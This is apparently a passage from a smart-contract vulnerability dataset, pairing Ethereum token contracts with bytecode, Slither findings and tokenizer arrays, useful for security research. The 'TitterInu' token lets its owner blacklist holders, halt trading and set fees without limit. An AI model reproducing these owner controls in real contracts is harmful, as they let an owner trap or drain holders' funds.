e6572000000000000000000000000000000000000000000815250600b019050604051809103902090508181555050565b60008083118290612322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122e75780820151818401526020810190506122cc565b50505050905090810190601f1680156123145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161232e57fe5b049050809150509392505050565b600061237e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611970565b905092915050565b6123a58273ffffffffffffffffffffffffffffffffffffffff166125d1565b612417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106124665780518252602082019150602081019050602083039250612443565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124c8576040519150601f19603f3d011682016040523d82523d6000602084013e6124cd565b606091505b509150915081612545576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156125cb5780806020019051602081101561256457600080fd5b81019080805190602001909291905050506125ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612788602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561261357506000801b8214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c6550726f78793a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820a595c58acfc223132eefffce6adbd273b972aa0517ed5aad429c3518f365148864736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 21057, 2278, 22025, 2509, 2050, 2683, 2683, 2475, 22367, 2509, 2063, 2692, 22610, 2683, 2278, 2629, 2546, 14142, 2581, 16576, 26187, 2497, 2094, 2581, 2620, 2581, 4783, 2509, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 7013, 2011, 5443, 16044, 1011, 5024, 3012, 1011, 20964, 1010, 18584, 2098, 2013, 28855, 29378, 1012, 22834, 1008, 1008, 2171, 1024, 21307, 20952, 2094, 1006, 1014, 2595, 2692, 2620, 3540, 2629, 2063, 18827, 18827, 20842, 2683, 21486, 2497, 2575, 22025, 14526, 2278, 24434, 2692, 2497, 2629, 2850, 2487, 27717, 2546, 21486, 2575, 21057, 2063, 2549, 1007, 1008, 1008, 21624, 27774, 1024, 1058, 2692, 1012, 1019, 1012, 2459, 1009, 10797, 1012, 1040, 16147, 22414, 17134, 1008, 9570, 6525, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,324
0x96920272c0da7bb8c1afd9d18ac48cb69933a3f0
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = 0x818081AFb3B352cb1cC061bCfB025fb2814AC008; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BNIXSilver is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _decimals = 0; _totalSupply = 3000000 * uint(10) ** _decimals; _name = "BNIX Silver Futures Betconix"; _symbol = "BNIXSilver"; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063dd62ed3e146102d5578063f2fde38b14610303576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101996103d7565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dd565b6101e9610446565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561044f565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610485565b6102596104a0565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104af565b61017d6004803603604081101561029357600080fd5b506001600160a01b038135169060200135610510565b61017d600480360360408110156102bf57600080fd5b506001600160a01b03813516906020013561055f565b610199600480360360408110156102eb57600080fd5b506001600160a01b038135811691602001351661056c565b6103296004803603602081101561031957600080fd5b50356001600160a01b0316610597565b005b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103ce338484610696565b50600192915050565b60035490565b60006103ea848484610782565b61043c843361043785604051806060016040528060288152602001610a5e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d4565b610696565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ce918590610437908661096b565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103ce338461043785604051806060016040528060258152602001610acf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d4565b60006103ce338484610782565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105f6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661063b5760405162461bcd60e51b81526004018080602001828103825260268152602001806109f06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106db5760405162461bcd60e51b8152600401808060200182810382526024815260200180610aab6024913960400191505060405180910390fd5b6001600160a01b0382166107205760405162461bcd60e51b8152600401808060200182810382526022815260200180610a166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b8152600401808060200182810382526025815260200180610a866025913960400191505060405180910390fd5b6001600160a01b03821661080c5760405162461bcd60e51b81526004018080602001828103825260238152602001806109cd6023913960400191505060405180910390fd5b61084981604051806060016040528060268152602001610a38602691396001600160a01b03861660009081526001602052604090205491906108d4565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610878908261096b565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610928578181015183820152602001610910565b50505050905090810190601f1680156109555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156109c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209083e0f0cc9d537c86e96998dad771d6d32e976831da3d9676ca681238be4e4b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 11387, 22907, 2475, 2278, 2692, 2850, 2581, 10322, 2620, 2278, 2487, 10354, 2094, 2683, 2094, 15136, 6305, 18139, 27421, 2575, 2683, 2683, 22394, 2050, 2509, 2546, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,325
0x969227b89c4cb58bc7d9b0d46b475ce96264b4c6
/** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TitterInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Titter Inu"; string private constant _symbol = "TINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x040394635C069e3f1334AB7dc85a379564316343); address payable private _marketingAddress = payable(0x040394635C069e3f1334AB7dc85a379564316343); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool 